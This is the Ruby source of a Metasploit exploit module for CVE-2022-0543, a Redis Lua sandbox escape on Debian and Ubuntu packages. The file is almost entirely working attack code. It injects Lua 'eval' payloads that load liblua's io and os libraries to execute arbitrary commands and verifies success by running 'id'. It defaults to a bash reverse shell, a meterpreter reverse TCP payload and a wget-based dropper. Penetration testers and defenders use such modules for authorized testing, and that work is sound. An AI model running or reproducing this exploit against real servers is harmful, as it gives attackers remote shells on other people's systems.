193 lines
7.3 KiB
Ruby
193 lines
7.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Auxiliary::Redis
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Redis Lua Sandbox Escape',
|
|
'Description' => %q{
|
|
This module exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The
|
|
vulnerability was introduced by Debian and Ubuntu Redis packages that
|
|
insufficiently sanitized the Lua environment. The maintainers failed to
|
|
disable the package interface, allowing attackers to load arbitrary libraries.
|
|
|
|
On a typical `redis` deployment (not docker), this module achieves execution
|
|
as the `redis` user. Debian/Ubuntu packages run Redis using systemd with the
|
|
"MemoryDenyWriteExecute" permission, which limits some of what an attacker can
|
|
do. For example, staged meterpreter will fail when attempting to use mprotect.
|
|
As such, stageless meterpreter is the preferred payload.
|
|
|
|
Redis can be configured with authentication or not. This module will work with
|
|
either configuration (provided you provide the correct authentication details).
|
|
This vulnerability could theoretically be exploited across a few architectures:
|
|
i386, arm, ppc, etc. However, the module only supports x86_64, which is likely
|
|
to be the most popular version.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Reginaldo Silva', # Vulnerability discovery and PoC
|
|
'jbaines-r7' # Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2022-0543' ],
|
|
[ 'URL', 'https://www.lua.org/pil/8.2.html'],
|
|
[ 'URL', 'https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce' ],
|
|
[ 'URL', 'https://www.debian.org/security/2022/dsa-5081' ],
|
|
[ 'URL', 'https://ubuntu.com/security/CVE-2022-0543' ]
|
|
],
|
|
'DisclosureDate' => '2022-02-18',
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'Payload' => {},
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper,
|
|
'CmdStagerFlavor' => [ 'wget'],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'MeterpreterTryToFork' => true,
|
|
'RPORT' => 6379
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Base path', '/']),
|
|
OptString.new('LUA_LIB', [true, 'LUA library path', '/usr/lib/x86_64-linux-gnu/liblua5.1.so.0']),
|
|
OptString.new('PASSWORD', [false, 'Redis AUTH password', 'mypassword'])
|
|
])
|
|
end
|
|
|
|
# See https://github.com/rapid7/metasploit-framework/pull/13143
|
|
def has_check?
|
|
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
|
|
end
|
|
|
|
# Use popen to execute the desired command and read back the output. This
|
|
# is how the original PoC did it.
|
|
def do_popen(cmd)
|
|
exploit = "eval '" \
|
|
"local io_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_io\"); " \
|
|
'local io = io_l(); ' \
|
|
"local f = io.popen(\"#{cmd}\", \"r\"); " \
|
|
'local res = f:read("*a"); ' \
|
|
'f:close(); ' \
|
|
"return res' 0" \
|
|
"\n"
|
|
sock.put(exploit)
|
|
sock.get(read_timeout)
|
|
end
|
|
|
|
# Use os.execute to execute the desired command. This doesn't return any output, and likely
|
|
# isn't meaningfully more useful than do_open but I wanted to demonstrate other execution
|
|
# possibility not demonstrated by the original poc.
|
|
def do_os_exec(cmd)
|
|
exploit = "eval '" \
|
|
"local os_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_os\"); " \
|
|
'local os = os_l(); ' \
|
|
"local f = os.execute(\"#{cmd}\"); " \
|
|
"' 0" \
|
|
"\n"
|
|
|
|
sock.put(exploit)
|
|
sock.get(read_timeout)
|
|
end
|
|
|
|
def check
|
|
connect
|
|
|
|
# Before we get crazy sending exploits over the wire, let's just check if this could
|
|
# plausiably be a vulnerable version. Using INFO we can check for:
|
|
#
|
|
# 1. 4 < Version < 6.1
|
|
# 2. OS contains Linux
|
|
# 3. redis_git_sha1:00000000
|
|
#
|
|
# We could probably fingerprint the build_id as well, but I'm worried I'll overlook at
|
|
# package somewhere and it's nice to get final verification via exploitation anyway.
|
|
info_output = redis_command('INFO')
|
|
return Exploit::CheckCode::Unknown('Failed authentication.') if info_output.nil?
|
|
return Exploit::CheckCode::Safe('Unaffected operating system') unless info_output.include? 'os:Linux'
|
|
return Exploit::CheckCode::Safe('Invalid git sha1') unless info_output.include? 'redis_git_sha1:00000000'
|
|
|
|
redis_version = info_output[/redis_version:(?<redis_version>\S+)/, :redis_version]
|
|
return Exploit::CheckCode::Safe('Could not extract a version number') if redis_version.nil?
|
|
return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) < Rex::Version.new('5.0.0')
|
|
return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) >= Rex::Version.new('6.1.0')
|
|
return Exploit::CheckCode::Unknown('Unsupported architecture') unless info_output.include? 'x86_64'
|
|
|
|
# okay, looks like a worthy candidate. Attempt exploitation.
|
|
result = do_popen('id')
|
|
return Exploit::CheckCode::Vulnerable("Successfully executed the 'id' command.") unless result.nil? || result[/uid=.+ gid=.+ groups=.+/].nil?
|
|
|
|
Exploit::CheckCode::Safe("Could not execute 'id' on the remote target.")
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
connect
|
|
|
|
# force the redis mixin to handle auth for us
|
|
info_output = redis_command('INFO')
|
|
fail_with(Failure::NoAccess, 'The server did not respond') if info_output.nil?
|
|
|
|
# escape any single quotes
|
|
cmd = cmd.gsub("'", "\\\\'")
|
|
|
|
# On success, there is no meaningful response. I think this is okay because we already have
|
|
# solid proof of execution in check.
|
|
resp = do_os_exec(cmd)
|
|
fail_with(Failure::UnexpectedReply, "The server did not respond as expected: #{resp}") unless resp.nil? || resp.include?('$-1')
|
|
print_good('Exploit complete!')
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
def exploit
|
|
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
|
case target['Type']
|
|
when :unix_cmd
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
end
|